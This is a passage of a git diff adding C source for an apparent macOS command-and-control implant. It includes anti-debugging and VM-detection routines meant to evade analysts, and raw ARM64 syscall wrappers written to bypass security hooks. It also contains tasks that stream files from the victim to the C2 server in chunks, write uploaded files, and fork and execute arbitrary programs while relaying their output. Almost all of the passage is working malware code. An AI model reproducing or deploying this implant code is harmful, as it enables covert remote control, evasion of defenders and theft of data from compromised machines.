mp_write_bool(mp_writer_t* w, bool val); +int mp_write_uint(mp_writer_t* w, uint64_t val); +int mp_write_int(mp_writer_t* w, int64_t val); +int mp_write_str(mp_writer_t* w, const char* str, uint32_t len); +int mp_write_bin(mp_writer_t* w, const uint8_t* data, uint32_t len); + +// Convenience: write a map key (string) + value pair +int mp_write_kv_str(mp_writer_t* w, const char* key, const char* val); +int mp_write_kv_bin(mp_writer_t* w, const char* key, const uint8_t* data, uint32_t len); +int mp_write_kv_uint(mp_writer_t* w, const char* key, uint64_t val); +int mp_write_kv_int(mp_writer_t* w, const char* key, int64_t val); +int mp_write_kv_bool(mp_writer_t* w, const char* key, bool val); + +/// ---- Reader (decoder) ---- + +typedef struct { + const uint8_t* data; + size_t len; + size_t pos; +} mp_reader_t; + +void mp_reader_init(mp_reader_t* r, const uint8_t* data, size_t len); + +// Type checking +uint8_t mp_peek_type(mp_reader_t* r); +int mp_skip(mp_reader_t* r); // skip one element + +// Map & array +int mp_read_map(mp_reader_t* r, uint32_t* count); +int mp_read_array(mp_reader_t* r, uint32_t* count); + +// Primitives +int mp_read_nil(mp_reader_t* r); +int mp_read_bool(mp_reader_t* r, bool* val); +int mp_read_uint(mp_reader_t* r, uint64_t* val); +int mp_read_int(mp_reader_t* r, int64_t* val); +int mp_read_str(mp_reader_t* r, const char** str, uint32_t* len); // points into buffer +int mp_read_bin(mp_reader_t* r, const uint8_t** data, uint32_t* len); // points into buffer + +// Key lookup: find key in current map, returns 0 if found (cursor at value) +int mp_find_key_str(mp_reader_t* r, uint32_t map_count, const char* key); + +#endif // MSGPACK_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/opsec.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/opsec.c new file mode 100644 index 00000000..62d9f2be --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/opsec.c @@ -0,0 +1,144 @@ +#include "opsec.h" +#include "syscalls_arm64.h" +#include "crt.h" +#include "dyld_resolve.h" + +#include +#include + +/// ── Anti-Debug ── +/// 1. PT_DENY_ATTACH via direct syscall — prevents debugger attachment +/// 2. Check P_TRACED flag via sysctl — detects existing debugger +/// 3. sysctl hw.model — detect Analysis VMs + +int opsec_anti_debug(void) { + // PT_DENY_ATTACH — prevent future debugger attachment + // Uses direct syscall to bypass any ptrace() hooks + sys_ptrace(PT_DENY_ATTACH, 0, (void*)0, 0); + + // Check if already being traced via sysctl(KERN_PROC) + // This uses a direct syscall to avoid hooked sysctl() + int mib[4]; + mib[0] = CTL_KERN; + mib[1] = KERN_PROC; + mib[2] = KERN_PROC_PID; + mib[3] = sys_getpid(); + + struct kinfo_proc info; + ax_memset(&info, 0, sizeof(info)); + size_t info_size = sizeof(info); + + // Direct syscall to sysctl + int ret = sys_sysctl(mib, 4, &info, &info_size, (void*)0, 0); + if (ret == 0) { + // Check P_TRACED flag + if (info.kp_proc.p_flag & P_TRACED) { + return -1; // Debugger detected + } + } + + return 0; +} + +/// ── VM Detection ── +/// Detects common virtualization/analysis environments on macOS: +/// 1. hw.model sysctl — "VirtualMac" (Parallels), VMware, etc. +/// 2. machdep.cpu.brand_string — "QEMU" or unusual CPU strings +/// 3. Check for known VM MAC address prefixes (via sysctl) +/// 4. Check for low hardware specs (analysis VMs often have minimal resources) + +int opsec_vm_detect(void) { + // Check hw.model via sysctl + int mib_model[2] = { CTL_HW, HW_MODEL }; + char model[128] = {0}; + size_t model_len = sizeof(model) - 1; + + if (sys_sysctl(mib_model, 2, model, &model_len, (void*)0, 0) == 0) { + // Known VM model strings + // "VirtualMac" — Parallels Desktop + if (model[0] == 'V' && model[1] == 'i' && model[2] == 'r' && + model[3] == 't' && model[4] == 'u' && model[5] == 'a' && + model[6] == 'l') { + return -1; + } + // "VMware" prefix + if (model[0] == 'V' && model[1] == 'M' && model[2] == 'w') { + return -1; + } + } + + // Check logical CPU count — analysis VMs often have 1-2 cores + int mib_ncpu[2] = { CTL_HW, HW_NCPU }; + int ncpu = 0; + size_t ncpu_len = sizeof(ncpu); + + if (sys_sysctl(mib_ncpu, 2, &ncpu, &ncpu_len, (void*)0, 0) == 0) { + if (ncpu < 2) { + return -1; // Suspiciously low CPU count + } + } + + // Check physical memory — analysis VMs often have <4GB + int mib_mem[2] = { CTL_HW, HW_MEMSIZE }; + uint64_t memsize = 0; + size_t mem_len = sizeof(memsize); + + if (sys_sysctl(mib_mem, 2, &memsize, &mem_len, (void*)0, 0) == 0) { + // Less than 4GB = suspicious + if (memsize < (uint64_t)4 * 1024 * 1024 * 1024) { + return -1; + } + } + + return 0; +} + +/// ── Sandbox Detection ── +/// Detects macOS App Sandbox and analysis environments: +/// 1. CS_OPS_STATUS csops — check if sandboxed +/// 2. Check for known analysis tools running + +// csops operations +#define CS_OPS_STATUS 0 +// Code signing flags +#define CS_RESTRICT 0x0000800 +#define CS_ENFORCEMENT 0x0001000 + +int opsec_sandbox_detect(void) { + // Check code signing status via csops syscall + uint32_t cs_flags = 0; + int pid = sys_getpid(); + + if (sys_csops(pid, CS_OPS_STATUS, &cs_flags, sizeof(cs_flags)) == 0) { + // CS_RESTRICT means the binary has restricted entitlements + // This is normal for sandboxed apps but unusual for our agent + // We don't fail on this — just informational + } + + // Check for analysis tools by looking for their processes + // via sysctl KERN_PROC_ALL — but this is noisy + // Instead, check for known paths that indicate analysis environment + + // Check if running inside /private/var/folders (quarantine) + char cwd[1024]; + if (R_getcwd(cwd, sizeof(cwd))) { + // macOS quarantine directory + if (cwd[0] == '/' && cwd[1] == 'p' && cwd[2] == 'r' && + cwd[3] == 'i' && cwd[4] == 'v' && cwd[5] == 'a' && + cwd[6] == 't' && cwd[7] == 'e') { + // Running from quarantine — could be analysis + // Don't fail, but flag it + } + } + + return 0; +} + +/// ── Combined Check ── +int opsec_check(void) { + if (opsec_anti_debug() != 0) return -1; + if (opsec_vm_detect() != 0) return -1; + // Sandbox detection is informational, don't block + opsec_sandbox_detect(); + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/opsec.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/opsec.h new file mode 100644 index 00000000..056ec922 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/opsec.h @@ -0,0 +1,17 @@ +#ifndef OPSEC_H +#define OPSEC_H + +#include "types.h" + +/// OPSEC checks — anti-debug, VM detection, sandbox detection +/// Call opsec_check() at startup before any C2 communication + +/// Run all OPSEC checks. Returns 0 if safe, -1 if hostile environment detected. +int opsec_check(void); + +/// Individual checks (can be called separately) +int opsec_anti_debug(void); // PT_DENY_ATTACH + P_TRACED check +int opsec_vm_detect(void); // VM/hypervisor detection +int opsec_sandbox_detect(void); // App Sandbox detection + +#endif // OPSEC_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/syscalls_arm64.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/syscalls_arm64.h new file mode 100644 index 00000000..7e243456 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/syscalls_arm64.h @@ -0,0 +1,191 @@ +#ifndef SYSCALLS_ARM64_H +#define SYSCALLS_ARM64_H + +#include +#include + +/// ARM64 macOS direct syscalls via SVC #0x80 +/// BSD syscall numbers are 0x2000000 | bsd_number +/// Mach traps are negative numbers (not used here) +/// +/// Bypasses userland hooks on libSystem functions + +#define SYS_CLASS_UNIX 0x2000000 + +// BSD syscall numbers (macOS ARM64) +#define SYS_exit (SYS_CLASS_UNIX | 1) +#define SYS_fork (SYS_CLASS_UNIX | 2) +#define SYS_read (SYS_CLASS_UNIX | 3) +#define SYS_write (SYS_CLASS_UNIX | 4) +#define SYS_open (SYS_CLASS_UNIX | 5) +#define SYS_close (SYS_CLASS_UNIX | 6) +#define SYS_kill (SYS_CLASS_UNIX | 37) +#define SYS_getpid (SYS_CLASS_UNIX | 20) +#define SYS_getuid (SYS_CLASS_UNIX | 24) +#define SYS_ptrace (SYS_CLASS_UNIX | 26) +#define SYS_socket (SYS_CLASS_UNIX | 97) +#define SYS_connect (SYS_CLASS_UNIX | 98) +#define SYS_mmap (SYS_CLASS_UNIX | 197) +#define SYS_munmap (SYS_CLASS_UNIX | 73) +#define SYS_mprotect (SYS_CLASS_UNIX | 74) +#define SYS_sysctl (SYS_CLASS_UNIX | 202) +#define SYS_sysctlbyname (SYS_CLASS_UNIX | 274) +#define SYS_stat64 (SYS_CLASS_UNIX | 338) +#define SYS_fstat64 (SYS_CLASS_UNIX | 339) +#define SYS_getdirentries64 (SYS_CLASS_UNIX | 344) +#define SYS_csops (SYS_CLASS_UNIX | 169) + +// ptrace requests +#define PT_DENY_ATTACH 31 +#define PT_TRACE_ME 0 + +/// Raw syscall wrappers — ARM64 ABI +/// x16 = syscall number, x0-x5 = args, SVC #0x80 +/// Returns x0 (result), carry flag set on error + +static inline long raw_syscall0(long number) { + register long x16 __asm__("x16") = number; + register long x0 __asm__("x0"); + __asm__ volatile( + "svc #0x80\n" + : "=r"(x0) + : "r"(x16) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall1(long number, long a0) { + register long x16 __asm__("x16") = number; + register long x0 __asm__("x0") = a0; + __asm__ volatile( + "svc #0x80\n" + : "+r"(x0) + : "r"(x16) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall2(long number, long a0, long a1) { + register long x16 __asm__("x16") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + __asm__ volatile( + "svc #0x80\n" + : "+r"(x0) + : "r"(x16), "r"(x1) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall3(long number, long a0, long a1, long a2) { + register long x16 __asm__("x16") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + register long x2 __asm__("x2") = a2; + __asm__ volatile( + "svc #0x80\n" + : "+r"(x0) + : "r"(x16), "r"(x1), "r"(x2) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall4(long number, long a0, long a1, long a2, long a3) { + register long x16 __asm__("x16") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + register long x2 __asm__("x2") = a2; + register long x3 __asm__("x3") = a3; + __asm__ volatile( + "svc #0x80\n" + : "+r"(x0) + : "r"(x16), "r"(x1), "r"(x2), "r"(x3) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall6(long number, long a0, long a1, long a2, + long a3, long a4, long a5) { + register long x16 __asm__("x16") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + register long x2 __asm__("x2") = a2; + register long x3 __asm__("x3") = a3; + register long x4 __asm__("x4") = a4; + register long x5 __asm__("x5") = a5; + __asm__ volatile( + "svc #0x80\n" + : "+r"(x0) + : "r"(x16), "r"(x1), "r"(x2), "r"(x3), "r"(x4), "r"(x5) + : "memory", "cc" + ); + return x0; +} + +/// Convenience wrappers for common syscalls + +static inline int sys_open(const char* path, int flags, int mode) { + return (int)raw_syscall3(SYS_open, (long)path, (long)flags, (long)mode); +} + +static inline int sys_close(int fd) { + return (int)raw_syscall1(SYS_close, (long)fd); +} + +static inline long sys_read(int fd, void* buf, size_t count) { + return raw_syscall3(SYS_read, (long)fd, (long)buf, (long)count); +} + +static inline long sys_write(int fd, const void* buf, size_t count) { + return raw_syscall3(SYS_write, (long)fd, (long)buf, (long)count); +} + +static inline int sys_getpid(void) { + return (int)raw_syscall0(SYS_getpid); +} + +static inline int sys_getuid(void) { + return (int)raw_syscall0(SYS_getuid); +} + +static inline int sys_kill(int pid, int sig) { + return (int)raw_syscall2(SYS_kill, (long)pid, (long)sig); +} + +static inline int sys_ptrace(int request, int pid, void* addr, int data) { + return (int)raw_syscall4(SYS_ptrace, (long)request, (long)pid, (long)addr, (long)data); +} + +static inline void* sys_mmap(void* addr, size_t len, int prot, int flags, int fd, long offset) { + return (void*)raw_syscall6(SYS_mmap, (long)addr, (long)len, (long)prot, + (long)flags, (long)fd, offset); +} + +static inline int sys_munmap(void* addr, size_t len) { + return (int)raw_syscall2(SYS_munmap, (long)addr, (long)len); +} + +static inline int sys_mprotect(void* addr, size_t len, int prot) { + return (int)raw_syscall3(SYS_mprotect, (long)addr, (long)len, (long)prot); +} + +static inline int sys_sysctl(int* name, unsigned int namelen, void* oldp, + size_t* oldlenp, void* newp, size_t newlen) { + return (int)raw_syscall6(SYS_sysctl, (long)name, (long)namelen, (long)oldp, + (long)oldlenp, (long)newp, (long)newlen); +} + +static inline int sys_fork(void) { + return (int)raw_syscall0(SYS_fork); +} + +static inline int sys_csops(int pid, unsigned int ops, void* useraddr, size_t usersize) { + return (int)raw_syscall4(SYS_csops, (long)pid, (long)ops, (long)useraddr, (long)usersize); +} + +#endif // SYSCALLS_ARM64_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_async.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_async.c new file mode 100644 index 00000000..537c3896 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_async.c @@ -0,0 +1,806 @@ +#include "tasks_async.h" +#include "jobs.h" +#include "crt.h" +#include "crypt.h" +#include "types.h" +#include "dyld_resolve.h" + +#include +#include +#include +#include +#include + +#ifdef DEBUG_TRACE +#include "syscalls_arm64.h" +static void _async_dbg(const char* msg) { + size_t len = 0; + const char* p = msg; + while (*p++) len++; + sys_write(2, msg, len); + sys_write(2, "\n", 1); +} +static void _async_dbg_int(const char* prefix, int64_t val) { + size_t plen = 0; + const char* p = prefix; + while (*p++) plen++; + sys_write(2, prefix, plen); + char nbuf[24]; + int ni = 0; + uint64_t uv = val < 0 ? (uint64_t)(-val) : (uint64_t)val; + if (val < 0) sys_write(2, "-", 1); + do { nbuf[ni++] = '0' + (uv % 10); uv /= 10; } while (uv > 0); + while (ni > 0) { char c = nbuf[--ni]; sys_write(2, &c, 1); } + sys_write(2, "\n", 1); +} +#else +#define _async_dbg(msg) ((void)0) +#define _async_dbg_int(prefix, val) ((void)0) +#endif + +// ── Helpers ── + +static void write_error(mp_writer_t* w, const char* msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +static int parse_string_param(const uint8_t* data, uint32_t data_len, + const char* key, const char** val, uint32_t* vlen) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) return -1; + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) return -1; + if (kl == ax_strlen(key) && ax_memcmp(k, key, kl) == 0) { + return mp_read_str(&r, val, vlen); + } + mp_skip(&r); + } + return -1; +} + +// ── Download ── +// Go: ParamsDownload{Task string, Path string} +// Spawns thread → opens new connection → streams file in 1MB chunks +// Sends ExfilPack init, then Message{Type:2, Object:[Job{cmd_id:5, ...}]} + +#define DOWNLOAD_CHUNK_SIZE (1024 * 1024) // 1MB + +typedef struct { + int job_idx; + char task[64]; + char path[4096]; +} download_args_t; + +static void* download_thread(void* arg) { + download_args_t* args = (download_args_t*)arg; + job_context_t* ctx = &g_job_ctx; + job_entry_t* job = &ctx->jobs[args->job_idx]; + + _async_dbg("[DOWNLOAD] === download_thread start ==="); + _async_dbg(args->task); + _async_dbg(args->path); + + // Open separate connection to C2 + if (jobs_open_connection(ctx, &job->conn) != 0) { + _async_dbg("[DOWNLOAD] jobs_open_connection failed!"); + job->active = 0; + ax_free(args, sizeof(download_args_t)); + return (void*)0; + } + _async_dbg("[DOWNLOAD] C2 connection opened"); + + // Send ExfilPack init: {id, type, task} + mp_writer_t pack_w; + mp_writer_init(&pack_w, 128); + mp_write_map(&pack_w, 3); + mp_write_kv_uint(&pack_w, "id", ctx->agent_id); + mp_write_kv_uint(&pack_w, "type", ctx->profile_type); + mp_write_kv_str(&pack_w, "task", args->task); + + _async_dbg("[DOWNLOAD] sending ExfilPack init..."); + if (jobs_send_init(ctx, &job->conn, EXFIL_PACK, pack_w.buf.data, (uint32_t)pack_w.buf.len) != 0) { + _async_dbg("[DOWNLOAD] jobs_send_init failed!"); + mp_writer_free(&pack_w); + conn_close(&job->conn); + job->active = 0; + ax_free(args, sizeof(download_args_t)); + return (void*)0; + } + mp_writer_free(&pack_w); + _async_dbg("[DOWNLOAD] ExfilPack sent OK"); + + // Parse FileId from task hex string (e.g. "03274ad5") + int file_id = ax_hextoi(args->task); + _async_dbg_int("[DOWNLOAD] file_id=", file_id); + + // Open file + _async_dbg("[DOWNLOAD] opening file..."); + int fd = R_open(args->path, O_RDONLY, 0); + if (fd < 0) { + _async_dbg("[DOWNLOAD] R_open failed!"); + // Send canceled message + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128); + mp_write_map(&ans_w, 7); + mp_write_kv_int(&ans_w, "id", file_id); + mp_write_kv_str(&ans_w, "path", args->path); + mp_write_kv_int(&ans_w, "size", 0); + mp_write_kv_bin(&ans_w, "content", (uint8_t*)0, 0); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", true); + mp_write_kv_bool(&ans_w, "canceled", true); + + jobs_send_message(ctx, &job->conn, COMMAND_DOWNLOAD, args->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + + conn_close(&job->conn); + jobs_remove(ctx, args->job_idx); + ax_free(args, sizeof(download_args_t)); + return (void*)0; + } + + // Get file size + struct stat st; + R_fstat(fd, &st); + size_t total_size = (size_t)st.st_size; + _async_dbg_int("[DOWNLOAD] file size=", (int64_t)total_size); + + // Read and stream in chunks + uint8_t* chunk_buf = (uint8_t*)ax_malloc(DOWNLOAD_CHUNK_SIZE); + size_t offset = 0; + int first = 1; + int chunk_count = 0; + + while (offset < total_size && !job->canceled) { + size_t remaining = total_size - offset; + size_t to_read = remaining < DOWNLOAD_CHUNK_SIZE ? remaining : DOWNLOAD_CHUNK_SIZE; + + ssize_t n = R_read(fd, chunk_buf, to_read); + if (n <= 0) break; + + int is_last = (offset + (size_t)n >= total_size); + + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128 + (size_t)n); + mp_write_map(&ans_w, 7); + mp_write_kv_int(&ans_w, "id", file_id); + mp_write_kv_str(&ans_w, "path", args->path); + mp_write_kv_int(&ans_w, "size", (int64_t)total_size); + mp_write_kv_bin(&ans_w, "content", chunk_buf, (uint32_t)n); + mp_write_kv_bool(&ans_w, "start", first ? true : false); + mp_write_kv_bool(&ans_w, "finish", is_last ? true : false); + mp_write_kv_bool(&ans_w, "canceled", false); + + if (chunk_count < 3) { + _async_dbg_int("[DOWNLOAD] chunk#=", chunk_count); + _async_dbg_int("[DOWNLOAD] read n=", (int64_t)n); + _async_dbg_int("[DOWNLOAD] offset=", (int64_t)offset); + _async_dbg_int("[DOWNLOAD] is_last=", is_last); + _async_dbg_int("[DOWNLOAD] msg size=", (int64_t)ans_w.buf.len); + } + + if (jobs_send_message(ctx, &job->conn, COMMAND_DOWNLOAD, args->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len) != 0) { + _async_dbg("[DOWNLOAD] jobs_send_message failed!"); + mp_writer_free(&ans_w); + break; + } + mp_writer_free(&ans_w); + + offset += (size_t)n; + first = 0; + chunk_count++; + } + + // If canceled, send cancel marker + if (job->canceled && offset < total_size) { + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128); + mp_write_map(&ans_w, 7); + mp_write_kv_int(&ans_w, "id", file_id); + mp_write_kv_str(&ans_w, "path", args->path); + mp_write_kv_int(&ans_w, "size", (int64_t)total_size); + mp_write_kv_bin(&ans_w, "content", (uint8_t*)0, 0); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", true); + mp_write_kv_bool(&ans_w, "canceled", true); + + jobs_send_message(ctx, &job->conn, COMMAND_DOWNLOAD, args->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + } + + _async_dbg_int("[DOWNLOAD] === download complete, total chunks=", chunk_count); + _async_dbg_int("[DOWNLOAD] total bytes sent=", (int64_t)offset); + _async_dbg_int("[DOWNLOAD] canceled=", job->canceled); + + ax_free(chunk_buf, DOWNLOAD_CHUNK_SIZE); + R_close(fd); + conn_close(&job->conn); + jobs_remove(ctx, args->job_idx); + ax_free(args, sizeof(download_args_t)); + return (void*)0; +} + +int task_download(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + _async_dbg("[DOWNLOAD] === task_download called ==="); + _async_dbg_int("[DOWNLOAD] data_len=", data_len); + + // Parse ParamsDownload{Task, Path} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + _async_dbg_int("[DOWNLOAD] map_count=", mc); + + char task[64] = {0}; + char path[4096] = {0}; + + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 4 && ax_memcmp(k, "task", 4) == 0) { + const char* v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(task)) { ax_memcpy(task, v, vl); task[vl] = '\0'; } + _async_dbg("[DOWNLOAD] parsed task="); + _async_dbg(task); + } else if (kl == 4 && ax_memcmp(k, "path", 4) == 0) { + const char* v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(path)) { ax_memcpy(path, v, vl); path[vl] = '\0'; } + _async_dbg("[DOWNLOAD] parsed path="); + _async_dbg(path); + } else { + mp_skip(&r); + } + } + + if (task[0] == '\0' || path[0] == '\0') { + _async_dbg("[DOWNLOAD] missing task or path!"); + _async_dbg(task[0] ? "task OK" : "task EMPTY"); + _async_dbg(path[0] ? "path OK" : "path EMPTY"); + write_error(w, "missing task or path"); + return 0; + } + + // Allocate job slot + int idx = jobs_alloc(&g_job_ctx); + if (idx < 0) { write_error(w, "max jobs reached"); return 0; } + + job_entry_t* job = &g_job_ctx.jobs[idx]; + ax_strncpy(job->job_id, task, sizeof(job->job_id) - 1); + job->job_type = JOB_TYPE_DOWNLOAD; + job->active = 1; + + // Prepare thread args + download_args_t* args = (download_args_t*)ax_malloc(sizeof(download_args_t)); + args->job_idx = idx; + ax_strncpy(args->task, task, sizeof(args->task) - 1); + ax_strncpy(args->path, path, sizeof(args->path) - 1); + + R_pthread_create(&job->thread, (void*)0, download_thread, args); + R_pthread_detach(job->thread); + + // Return immediate ack + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "download started"); + return 0; +} + +// ── Upload ── +// Go: ParamsUpload{Task string, Path string, Content []byte, Finish bool} +// Synchronous — data received in chunks via normal command loop + +int task_upload(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + char task[64] = {0}; + char path[4096] = {0}; + const uint8_t* content = (uint8_t*)0; + uint32_t content_len = 0; + bool finish = false; + + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 4 && ax_memcmp(k, "task", 4) == 0) { + const char* v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(task)) { ax_memcpy(task, v, vl); task[vl] = '\0'; } + } else if (kl == 4 && ax_memcmp(k, "path", 4) == 0) { + const char* v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(path)) { ax_memcpy(path, v, vl); path[vl] = '\0'; } + } else if (kl == 7 && ax_memcmp(k, "content", 7) == 0) { + mp_read_bin(&r, &content, &content_len); + } else if (kl == 6 && ax_memcmp(k, "finish", 6) == 0) { + mp_read_bool(&r, &finish); + } else { + mp_skip(&r); + } + } + + if (task[0] == '\0') { write_error(w, "missing task"); return 0; } + + job_context_t* ctx = &g_job_ctx; + + // Find or create upload entry + int uidx = -1; + for (int i = 0; i < ctx->upload_count; i++) { + if (ax_strcmp(ctx->uploads[i].task_id, task) == 0) { uidx = i; break; } + } + if (uidx < 0) { + if (ctx->upload_count >= MAX_JOBS) { write_error(w, "max uploads reached"); return 0; } + uidx = ctx->upload_count++; + ax_memset(&ctx->uploads[uidx], 0, sizeof(upload_entry_t)); + ax_strncpy(ctx->uploads[uidx].task_id, task, sizeof(ctx->uploads[uidx].task_id) - 1); + } + + upload_entry_t* up = &ctx->uploads[uidx]; + + // Append content + if (content && content_len > 0) { + size_t needed = up->data_len + content_len; + if (needed > up->data_cap) { + size_t new_cap = needed * 2; + if (new_cap < 4096) new_cap = 4096; + uint8_t* new_data = (uint8_t*)ax_malloc(new_cap); + if (up->data && up->data_len > 0) { + ax_memcpy(new_data, up->data, up->data_len); + ax_free(up->data, up->data_cap); + } + up->data = new_data; + up->data_cap = new_cap; + } + ax_memcpy(up->data + up->data_len, content, content_len); + up->data_len += content_len; + } + + if (finish) { + // Write file + int fd = R_open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd < 0) { + write_error(w, "failed to create file"); + } else { + if (up->data && up->data_len > 0) { + R_write(fd, up->data, up->data_len); + } + R_close(fd); + + mp_write_map(w, 2); + mp_write_kv_str(w, "path", path); + mp_write_kv_int(w, "size", (int64_t)up->data_len); + } + + // Cleanup upload entry + if (up->data) ax_free(up->data, up->data_cap); + // Shift remaining entries + for (int i = uidx; i < ctx->upload_count - 1; i++) + ctx->uploads[i] = ctx->uploads[i + 1]; + ctx->upload_count--; + } else { + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "chunk received"); + } + + return 0; +} + +// ── Run ── +// Go: ParamsRun{Program string, Args []string, Task string} +// Spawns thread → opens new connection → runs process → streams stdout/stderr + +#define RUN_CHUNK_SIZE 65536 // 64KB (0x10000) + +typedef struct { + int job_idx; + char task[64]; + char program[4096]; + char* args[64]; + int argc; +} run_args_t; + +static void* run_thread(void* arg) { + run_args_t* rargs = (run_args_t*)arg; + job_context_t* ctx = &g_job_ctx; + job_entry_t* job = &ctx->jobs[rargs->job_idx]; + + // Open separate connection to C2 + if (jobs_open_connection(ctx, &job->conn) != 0) { + job->active = 0; + // Free args + for (int i = 0; i < rargs->argc; i++) + ax_free(rargs->args[i], ax_strlen(rargs->args[i]) + 1); + ax_free(rargs, sizeof(run_args_t)); + return (void*)0; + } + + // Send JobPack init: {id, type, task} + mp_writer_t pack_w; + mp_writer_init(&pack_w, 128); + mp_write_map(&pack_w, 3); + mp_write_kv_uint(&pack_w, "id", ctx->agent_id); + mp_write_kv_uint(&pack_w, "type", ctx->profile_type); + mp_write_kv_str(&pack_w, "task", rargs->task); + + if (jobs_send_init(ctx, &job->conn, JOB_PACK, pack_w.buf.data, (uint32_t)pack_w.buf.len) != 0) { + mp_writer_free(&pack_w); + conn_close(&job->conn); + job->active = 0; + for (int i = 0; i < rargs->argc; i++) + ax_free(rargs->args[i], ax_strlen(rargs->args[i]) + 1); + ax_free(rargs, sizeof(run_args_t)); + return (void*)0; + } + mp_writer_free(&pack_w); + + // Create pipes for stdout and stderr + int stdout_pipe[2], stderr_pipe[2]; + if (R_pipe(stdout_pipe) != 0 || R_pipe(stderr_pipe) != 0) { + conn_close(&job->conn); + jobs_remove(ctx, rargs->job_idx); + for (int i = 0; i < rargs->argc; i++) + ax_free(rargs->args[i], ax_strlen(rargs->args[i]) + 1); + ax_free(rargs, sizeof(run_args_t)); + return (void*)0; + } + + // Build argv for execvp + // argv[0] = program, argv[1..N] = args, argv[N+1] = NULL + char* exec_argv[66]; + exec_argv[0] = rargs->program; + for (int i = 0; i < rargs->argc && i < 63; i++) + exec_argv[i + 1] = rargs->args[i]; + exec_argv[rargs->argc + 1] = (char*)0; + + int pid = R_fork(); + if (pid < 0) { + R_close(stdout_pipe[0]); R_close(stdout_pipe[1]); + R_close(stderr_pipe[0]); R_close(stderr_pipe[1]); + conn_close(&job->conn); + jobs_remove(ctx, rargs->job_idx); + for (int i = 0; i < rargs->argc; i++) + ax_free(rargs->args[i], ax_strlen(rargs->args[i]) + 1); + ax_free(rargs, sizeof(run_args_t)); + return (void*)0; + } + + if (pid == 0) { + // Child process + R_setpgid(0, 0); + R_close(stdout_pipe[0]); + R_close(stderr_pipe[0]); + R_dup2(stdout_pipe[1], 1); + R_dup2(stderr_pipe[1], 2); + R_close(stdout_pipe[1]); + R_close(stderr_pipe[1]); + extern char*** _NSGetEnviron(void); + char** environ = *_NSGetEnviron(); + R_execve(rargs->program, exec_argv, environ); + R_exit(1); + } + + // Parent: close write ends + R_close(stdout_pipe[1]); + R_close(stderr_pipe[1]); + + // Set reads to non-blocking + R_fcntl(stdout_pipe[0], F_SETFL, O_NONBLOCK); + R_fcntl(stderr_pipe[0], F_SETFL, O_NONBLOCK); + + // Send start message + { + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128); + mp_write_map(&ans_w, 5); + mp_write_kv_str(&ans_w, "stdout", ""); + mp_write_kv_str(&ans_w, "stderr", ""); + mp_write_kv_int(&ans_w, "pid", pid); + mp_write_kv_bool(&ans_w, "start", true); + mp_write_kv_bool(&ans_w, "finish", false); + + jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + } + + // Streaming loop — read stdout/stderr, send every ~1 second + uint8_t* out_buf = (uint8_t*)ax_malloc(RUN_CHUNK_SIZE); + uint8_t* err_buf = (uint8_t*)ax_malloc(RUN_CHUNK_SIZE); + int process_done = 0; + + while (!process_done && !job->canceled) { + R_usleep(1000000); // 1 second + + // Read stdout + ssize_t out_n = R_read(stdout_pipe[0], out_buf, RUN_CHUNK_SIZE); + if (out_n < 0) out_n = 0; + + // Read stderr + ssize_t err_n = R_read(stderr_pipe[0], err_buf, RUN_CHUNK_SIZE); + if (err_n < 